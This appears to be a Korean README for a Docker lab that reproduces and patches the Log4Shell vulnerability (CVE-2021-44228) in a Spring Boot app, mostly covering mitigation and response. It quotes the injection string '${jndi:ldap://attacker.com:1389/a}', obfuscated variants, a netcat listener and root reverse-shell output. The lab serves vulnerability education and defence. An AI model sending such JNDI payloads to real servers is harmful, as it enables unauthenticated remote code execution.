Log4Shell (CVE-2021-44228) PoC
목표
Docker화된 환경에서 알려진 중요 CVE를 재현, 악용 및 수정합니다.
이 PoC는 Spring Boot 애플리케이션에서 CVE-2021-44228 (Log4Shell)을 시연합니다.
1. 취약점 설명
CVE: 2021-44228
CVSS: 10.0 (심각)
영향받는 구성 요소: Apache Log4j (<= 2.14.1)
패키지 작동 방식
- Log4j는 널리 사용되는 Java 로깅 라이브러리입니다.
- 로그 메시지 내에서 값을 동적으로 확인하기 위해 lookups (
${...})을 지원합니다.
- 이러한 조회 중 하나는 JNDI로, LDAP를 통해 값을 가져올 수 있습니다.
취약점 작동 방식
- 공격자는
${jndi:ldap://attacker.com:1389/a}와 같은 악의적인 JNDI 조회 문자열로 피해자 애플리케이션을 오염시킵니다.
- 취약한 Log4j 버전을 사용하는 피해자 애플리케이션은 로깅 중에 악성 문자열을 평가합니다.
- 이로 인해 공격자가 제어하는 LDAP 서버로 JNDI 요청이 트리거됩니다.
- LDAP 서버는 외부 Java 바이트코드에 대한 악의적인 참조로 응답합니다.
- 피해자 JVM이 바이트코드를 로드하고 실행하여 원격 코드 실행 (RCE) 로 이어집니다.
익스플로잇 작동 방식
- 피해자 앱이 HTTP 헤더에서 공격자가 제공한 입력을 로깅합니다.
- 공격자의 LDAP 서버가
Exploit.class에 대한 참조로 응답합니다.
- 피해자가 HTTP를 통해
Exploit.class를 가져옵니다.
Exploit의 정적 초기화자가 실행되어 공격자에게 역방향 셸을 생성합니다.
2. 위험
- 영향: 인증되지 않은 RCE - 가장 높은 심각도.
- 위험에 처한 대상:
- Log4j <= 2.14.1을 사용하는 모든 Java 애플리케이션.
- 사용자 제어 입력(예: HTTP 헤더)을 로깅하는 인터넷 연결 및 내부 서비스.
- 결과:
- 시스템 손상 (셸 액세스).
- 데이터 유출.
- 내부 네트워크로 피벗.
- 경계 방어 우회 (내부 서비스를 통한 공격).
3. 개념 증명
사전 요구 사항
- docker + docker-compose
- netcat
- make
빌드 및 시작
익스플로잇
- netcat 리스너 시작:
- 익스플로잇 트리거:
- Netcat이 피해자로부터 역방향 셸을 수신:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
4. 수정
권장 수정
- Log4j 2.17.1 이상으로 업그레이드.
- 이것이 유일한 완전하고 장기적인 수정입니다. 이전 버전은 부분적으로 패치되었지만 여전히 노출이 남아 있습니다.
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
임시 완화 조치 (업그레이드가 불가능한 경우)
- 시간 벌기
- WAF 또는 미들웨어로 인바운드 익스플로잇 문자열(
${jndi: 패턴)을 제한합니다.
- 이그레스 필터링으로 애플리케이션 서버의 아웃바운드 LDAP를 제한합니다.
- 조회 비활성화:
-Dlog4j2.formatMsgNoLookups=true
- JVM 강화:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
운영 완화 조치
- 종속성 및 런타임 감사
- SBOM 생성 (
gradle dependencies, Snyk, Wiz 등).
- 배포된 이미지/서버에서 fat JAR을 포함한
log4j-core-*.jar 검색.
- 가장 위험한 워크로드에 대한 완화 조치를 분류하고 우선 순위 지정.
- 모니터링 및 탐지
- 로그에서 익스플로잇 시도(
${jndi:...}, ${${lower:j}ndi:...} 등) 감시.
- 콜백에 대한 아웃바운드 LDAP 트래픽 모니터링.
- 발견 사항을 잠재적 침해로 처리하고 사고 대응(포렌식 조사, 악성 아티팩트 제거, 비밀 교체 등)으로 에스컬레이션.
- 벤더 패치
- 벤더 권고사항(예: Elasticsearch) 추적 - 많은 제품이 번들 Log4j를 포함.
- 공식 패치가 제공될 때까지 제공된 핫픽스 또는 해결 방법 적용.
- 전략적 개선
- 아웃바운드 트래픽 필터링에 "기본적으로 거부" 정책 적용.
- CI/CD에서 종속성 스캔 적용.
- 팀이 다음 "10.0 CVSS" 취약점 발생 시 정확히 무엇을 해야 하는지 알 수 있도록 대응 플레이북 공식화.
- "새로운 Log4Shell급" 사고에 대한 대비를 테스트하기 위해 복원력 드릴/테이블탑 실행.
5. 참고자료